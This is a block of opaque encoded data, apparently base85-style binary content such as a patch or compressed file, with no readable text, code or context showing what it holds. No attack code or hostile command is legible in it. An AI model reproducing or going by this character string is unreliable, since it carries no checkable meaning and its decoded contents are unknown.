zUR3<$ML|V*&ZQKCfQ7YHwHv1VF0J0!YM61a#b|SwPV@9PDqa!u#~1xvpj2jiqf`Ip zVxPlJ8RhTS#Hc!UDnDnelF&5DDxvDo+Rk&PSbmR^kNn+v&ddBm`HN?qn913_y2RjN z^R%F^4UW~9=KG#HvpGZVd0_aWRd#0|-Y5$5DE6^B-Lfoc%DNv7jY*~BpE-5SIXdNJ zwu5d1WtisXlZlbnI)x4yGe >xY&98>jozFA{rEFifrAO}U-Xk5?{h2i^sQKON zxT6+Jypt5(%4NNqUyx;N;CmuB=>4<9$A&d~?MzwrTG9E~(aIIqowrEYG-+;_J5;M6 z!bpp*#3}0OSN9-G*GJ3Cc)zl``RWaujeTq$R}5JH-2aFA+J~ D<_6geHDNnl&95?Ekr}5ePPMc?5_+or2bz oIED?-3+~mvo>G$CbvZYIsWdc@}v713)Y_) z+f#McrfC6d$HclA+*K?ZTvIyumCrAas_KKke@=O2Td>=0K>DtDy`vlY9Xa0V`0A47 z8MR6g>;AYY{&czIpE)S_#~i=mQ+9B!>aPp0J*C^1JtiZ3wp6^+x5uk@+&MO~q3TTa zA-!elKZni!p7NpRbyuybIY(=1Q@1U>Jj1bmlfxL*R_$lrsanDFLz07U*rr?UIaF7B zDDA@j^o@!!a>`B4GPV)ccjPDMd`p?z%e=9dvO>39eYLzEcM5iOaaXxwd1;IJ@XZ4^ zEgH3P#uBgimMg=5$mp4B>OH$wd7{*{SG8(CH>tCGcPc!+vN}9ZS!!|fq+?4gb F@9FHqS|SY%)|y*(?8KhUrq3&ueD9e0hGlWt`Qo1tG-)sf)KXRIUi@wt+rm zt-jtmWy e)osj^$3IF=`_p23 z{R&d_(F-c|m20}XVGJ$%Y=UC9ytLjH!C9jQy*qAFmU{BuDl?M@pH4VCZLTi2%sa%| z;L{wxJzrzhxcegxoYv(~)Sm_&w2#(NKUwTPfYE<=W95bW`}6`zmvs;7b N+;c2>)S>FN{1t{ED-Y4?#)q`Gn=_{fxubFYW zCXZ!v<@e~pGv%I{t{*gIoBZ%WF^gP-j7?M3?^trqw%A|E9z$6)`j$*u)~Gupoy?U} zm^&O5i%(y5oA&jA?9b=p_9z!!3|gJ_{-M`!`{b3fO$RD6yZC*7HcruMoGa($wwO)t z>$)aiZ@SU=smR28;pzN^CM9P#+L)Vf=r*k6tBU);vZ?RRMXQ}{aqN_uJgcHA!+r54 zslu!yO@7au&)%T>)T>^k{n?QDE@F3ScIUWVxwCp~eOPv8(yVSpJ!GTb2P*vBr#G)v zx_)Zb4-tu15gX406R-IBpTx^I*xc=p|040q<{kaX<{kZsZDHajV!4S)Ht#4;Hk?p} z5}3TBJh9_xpdFlUgk9%uU_^;B-gRywmd!iLlg&HIlTGI)V%fZ-JlVXXJlVXXJlVXX zJlVV>Joyu&Tv&1cMM4`JQ86~!%Y;>rV=GiFG0G7$>w|445L#hLd<~7A;fWn_hbr%} za~0VrGJ%c-63_h>-a5l&uVhJxoLdg!KEn`O Ypfdt#?QaSoEf9qF&Y+!#l1}ZR zbuUUiqDUgPGmnO94A6>3%*uPjW1&?bXoN&bh^iP+PLx~n%tot0RE2;}yAzv)!ixln zOCehEq4R&RT@@%jkHRD@6nCdF+uyq?z+}OAJJ*UxmWJqn6YOYvEZ&a2?FNOOP(W5( zJrNAIbIqHC0OSP|S?I_oh=QSvIEv(;4UTBd&lV@tBuqa3a!QF9LhMLSBNXX`Ej?%# z7s>~qWq 6u4gMDE#VbYAvXq<3}D#`v^@bi4h&Rk zW7uBimKRMFrkeyO5gaarKbGvKBae%N
G>`foS(kie7p5`Vc=Tb1vhH@#6(bc3~Zz| zeD9&YjN|t1hVjy~#zrd=M;a(LS!h*$c-nhn=LK7qS`U)9rd)S=>H4GM*uuk?)*X#! ztbAwl^T^>w%d*vJeI{+5=TX;9ZH>eCzP01^R!ptE=-X%Tw6S~loVFXYx65T}^X(ex zUNs(dshklz2b-Uc+&Ffr$APATpPoDYO;m3>L=DhwcvbV;I(Jq>>lT$)n^c1OTd8hU zxwInl_n&6R8oH8opDx?8_8Sg=X~+3WHM~Ll-QZOr|Lj?PX5OnSrhg{8$IlJ^qP)w7 z5uj78Q83l`$En)28>EhEzy5mZYHMZQjr(s0ZIv(jzH<7nk9CELRdK6Ntqoshd2Hw2 z>f-eN-z&y_Tb8{wHN&H8^Pj89`W~-sXB JQI!8`pW2rBXPf$n8+Z;>U@1k2+jYu+Vz5{DIs}&we`ZPy0{u zJ~* n*kJXjnPvwUcm=%-~{a#u5_EgB@(Yl%W#hI?*FfLzkM(&7WB-uEq; zRxR!JeAZ{ y^7$qcm;CDmwYiT;b&Wu59$6z_Ft_F+X3*=z8v(5jwL| z|C+n~%7)8lpZxq-O5HA6ZhTbn_wb+2my|Z#Sg<#tCL{h9Ggsy0^SmU@l|?749F?Lj z-4ETl*dyc6*umZ<6?)@Ua`pB# N)QN zbZ@XNGRC!jE?oSGe)CQ*O8THx+tOl+pX} W#U{S7 6EBE{}?g0 zhgZP- +9a 8A1nO{JwN`DN{=H}Iw1@kRF92hJBvcCAff zC!KzFLg%~Zj~+vIxBSefT52F2i1)(RBPI)1s7c zKXlTak$#gq*QgF_@_gsxXW}{Ub*5WtWv}l3g(GaFlWSMcSvo$ai~ME7>sfU>zK7K` zP7m92_nFzH dIcEl~{^U)iG&4){2KqkueBq<9 z)xv3W%{9ZmI;J<59X@0csW#N;=E#wYj~%`Eam=de>Drx4#*D3g_3Q2Dm8S>YO;(mR zne_1cowMiPI?fq#sWPdw?(7=-HI@~z<5aG4%zWG|-;Zpup1k%(zW>`EHPY{Utz7=% zyh4!8#8Y-Z*2}EY^4OGf?P5i1BWBHtEHCwodqx>=e_PJhjradtmzjD+z6;wbI5dXAoUOLO zXhL*+a8HL(bEpT_WZkyYT047{cmC6UedfEpmG1O3{zCMP9R)?61Eh92$S6A;8$Dr{ z)oY5prF-6qLl4exAGPDSmqKRziaT0sy9XB!`@Jvr=Dj0H0pUk7_f>XX!YX(>>e%nm zmEpEesMT717CbuNrP*iQ`N%&@?6vE3vPVlPzOC78t~%VT%ji7cN6bmt7fR*j*YycV zeE+f6n4w+rEQbFKH|blmruetZqsW_cHRgWQkM7d6t17W)W{! $lXaomb0J*I?SNvoc=U*|+j!^f`L zUg59(3$<+DnElc=J7kl-@6Ok5rzTBrSwDUz)r?UWeEP^A`=Gww%l9wXr8IZimZ=oe z)I-$h U)|^$J*AUM+~z8^&vKE+ zp0}I~nYF%tT%YfyyRNieJ(w)NH%ZCMXS1zI#+Z}0Ck$?w|1Qg_pjdnDiPAaQ9(S)+ zwhTKvd1sJ|x#l>{xR4u5zE~XbEE_p&Ld=2WHCc+T)mN9xK8~*ZBKxH-+hM{SUB^e2 z`i;eRT0%dW4YPOQ=sWifH=Ock%G}sZ+TQagsk(h!HiGrE*YTcxgXexaDcwkQ>>T6p zxKa8JjX6Y> Al7^<^8_kSjF(8y@#aF@M`kT+N5_VEh0W=<&wty==^gEG6@c=TG;HD zA3ZIMj=tYxHuw6@*Y1a|B$XbFFg)ef`^3|eI*|uIr9@77=A|S%xHax*&66j)FX@^Z zJ37?eFzgig`DJFSp`)or!|*u+f}c+vsv5gy@SRz8roqG3ua+6zTqyT4dhdhXbnlgC zPWe3#S?Tvv>Q{Wws!Xq&ovvQbxTJ7Ly}!>SvpN2yv#xBuIDcFC#EmWudu0lHzS(oe zWMofM>3+eJn1uuTC|eHwQZ>YE_5GO_k1V&oJC~htr24bt6jQSt*{0^r4-FVymzX40 z{S5nEo9i60xo~vKyiIn;g67tTUkvM)SiS3JRIsyVvr)|FZ(~Q+o>9&VzSH{qyUnu$ z$r>4*)Atv!_nx- ?-voN77<5Q3#MAYg(dHC;~qi$Z&EGrl1!8;K^`!qPIzY? zlTsYe2KU!Vkv%cqOU_&EFj0948{4f!Max)h#|Welu$%#Jd(q$COFn vES @}WZ^3idb355x zw 6-Zy0e^gRvPvj zXz}Osbk=~EyD3%E^o-xSx(!h3nfz1v! M^#{Pr5-D|1gBa$M1d=48p_rSN6g&x{cd;9##4w%1`dcNOpnFn tDxG7bwisZyHkdc64pGUONZd`n`Gk(`W3iAJ E*fmKXpyc$-Ez0 zo{F5*LH_CGJHDP@w|}|O1yx<;HNoRUX2wLx_B?l0R!RQsq5Zjq!RegqCAX3aW^Yh) zw)ZgEfAZm{BBOmtjq9~ch7InQVipjrZM*Z;=Z_h&7M`1}l;Y+_-IksiraoIbrKQKy zGW#SQ+BWt6tegQ=W;)9Ic6e-xEFQBsjIM4%k2n9cE`9L)E+04EznWhC>gC7W$=}Ni z6f5UlJIPovDpbB`R8i*AUT4>PnmJqE%&A<`P`Nm*DgA72^>yEOeNWN%%wLjj=sJJZ znl+PkBh7oh*nRrR*fr}_Xkm6Ws!>l)RRjfo>@GE7{^sIz?Vh{Fr#9_bLzUU?WVFp{ z-}#t`fWG4zEH)a|lupfhtX%wkTEvnkRV@E)Ic8hV_A?Hd?{i@HEtTXzyUmQoSyQS) zHO<4c_Om+;c=BLhmse-&%SR>X|721VTMAtA?Eh4k-<%S9W0KLCUGW(po^0^g-u%7S zZ`G;OCMS-MHtRk ko{wU+i88t0|D^ jr9 z?ZdL`ojlGQFZ })E4F0^WViMkI)=b;y2mE ztI}c8dp-NwgW@`>gEJd9LFfuTFX|EnN2Bje4cg`1z2wqRfXW*T-%woO<7LV&4~f z`oAysun0S1u3^`OR_Szq%kF0vjrV_cK67)srG>fQ_`6yYUCv!tl}>kBU*ol`vx;85 z$=H!@Cr6eT#Qz$5%C7HB-53|obAcBticfcQjocC@rK99={o1stqjs)abl~W$k(c#9 z{=B jU++HaAME(%Vm6Yq$IWA6{*ZZQN`dx^H_^Z8P^uqA zTq^1nL$|EoJ!|cl6H$k&=e{{yKV3D1v*AoYP+?a2 Rx9+~pmZnR_QAbthA=UcJ9k=j3!% ze|+6t{o8x(wJL~*sf3H?U1o9PuFZUG%w_eVM{b102|o<267;Z0*V%2pG-#xdm6J@Q z^K{3q#GTS0B80bVu&5iz80IpIJu*7HXiS2{k^+jhn;u(N(!dQ#s*jtwW}0SoC7q2P zZY=9Z+xdKYL@$`t-n2zK2m 42PzO$+X)W=a=5a(^ z)LzO;MGR}za7gX_Vr+6b(KEDpNrBI{xUU1dkDT|C>>%2tKZV*ooUL9W@E>Z5Ybo$X zQRY{@CBL<9(=ZMUC&l!*O3j~s(Qx5U$jJzMbu`r(g~FvF;W%-A9ev}f*~7jW3Z=}u z%Ps=^UV@qJ1t#tr_5AENLWlg~JI4&heXFqVLVaj$kRI2`rtRQVSo(((4~euz$a1&O z&-_5%;h%= k?7(!wWJYO#R@OTM$MW(GUT-s; $2&>Nla*sm2XxG6G* _{M?9io4lzl?-pJ^tSdu; z>B~y|aQWhb4KX9u_9(>L!I!fE#)TM*#b}hrQ4uEIPX{Tdgic*<>Lha%r;o~U>D)UF zvUN&fOQcReuF#fFlze(NqfZ=>OkHw*@|9pKL|D_yX~e6;D`RK6Fh_E ; z#47F_(`TVbZFd0KD6nileL|qJ6&~c5#MV5Ahy 1QS zXMPOGB%WO~ISSl`r5OE83wE}lSP4~?pvGpY15BhIY{=4FMSnHV@TieMs$tJH7gU?x z6+7_W;P71M@`#^cvTOdYFz?Sz;6GvBvncHa{qGcYfPn%4r2S9KWBVm2;067&{h=*^ z8bG1-i}LLUtb6|MxA*X$#5yLxtm{)q=hHCwQ`F>B)9* <{`0ZFG`;}F z^MEcU )>a*a6k+6PhGR;4gBrszo8cZB(wdR`0xjM`GISGXoCT!odD94 zXM+D{T=RpI@o!wi2^gvQhg?&mDq*|MhSYkid{k@q(GQV6x<4&?(b_>FMqmCSEgFa7 zMP);-7=n1%Cy#UsyBMOHxP$EX^hBC)EH}sY?6JZKa!78D=ZE*x%5{n1DOLq A_@D~@=$aVnboG`ZVTPjW&M$+;@f+OFz5=o>=bE_;Fr8WQkg zUeY?~-%VA|QiW(??V<4=Hfh_Sq&ozaTdnC%9=4X!S2T6Pefl^dzab(*4V_g-lj^AP znu}ENTh^4y)kLP2R+)SW88+i!cdAEe2vRjXFLoVn7}{qBxXaTKe E)L#<#!C}<^0VjZs z5s)Lx!YgV?#{1M{ qhVx{@#2836V@86N=R`%;r-%D3f|8Gw*wm+v z0?CLF`3Xp~fucggeeUJh=AP=}MTC5(T5G5G8*Fu*WLp$YCCEg*5FJR3kr2nY=4?XA zJ>c1(RwYay(BMm~Zv;?CYx{OHUSoO`r-^0g*q0L!2?gMN-w5$1WM*(5w9EBl4Nt)1 zVH{T^Ae*Y4SqHakE_H?=-l?SLYbRv-Hbx!LhbyJXTLP(FK;8C|e5ExIiu#o!loCki zfEE-Keq-rjZ=mNGuB>44nJz|xD)vfl|7rg_V#R3bITJgF&@yqZF6jes!LIo7Nk)e? zsCV*L5CvXUl5@~Z^C>=}ra ju72{oVGJOMMmC(#% !>bqZ;s{$dZ>RsvgyIU-6Ea={8LpsHNF*`CDH=VTg0OKG;P~Z z!5fcG9C$_oKQ>*hX#$3RnpO{C`tDUfiPJ&t7sd=SI#C@AWa~Eqsqv!K)Baq(Zo*&= zt$cmW)*>08#NRuPhrBaEh|cxK6?}xe5Z2L1z}XfuRPZk}BB_cA5h{;!_l6n|zcgzT zfGM&=D5`VafSnT@f^SNLIKv%Cmii8eyu^2oB-cUxB5NEja^n7#$pg6V;dH&t 28tS_ zEzsKha?19S@rsU)bj4^+Y71n%Jy1>-D5toq9J)|j>Usc)0OkFzmu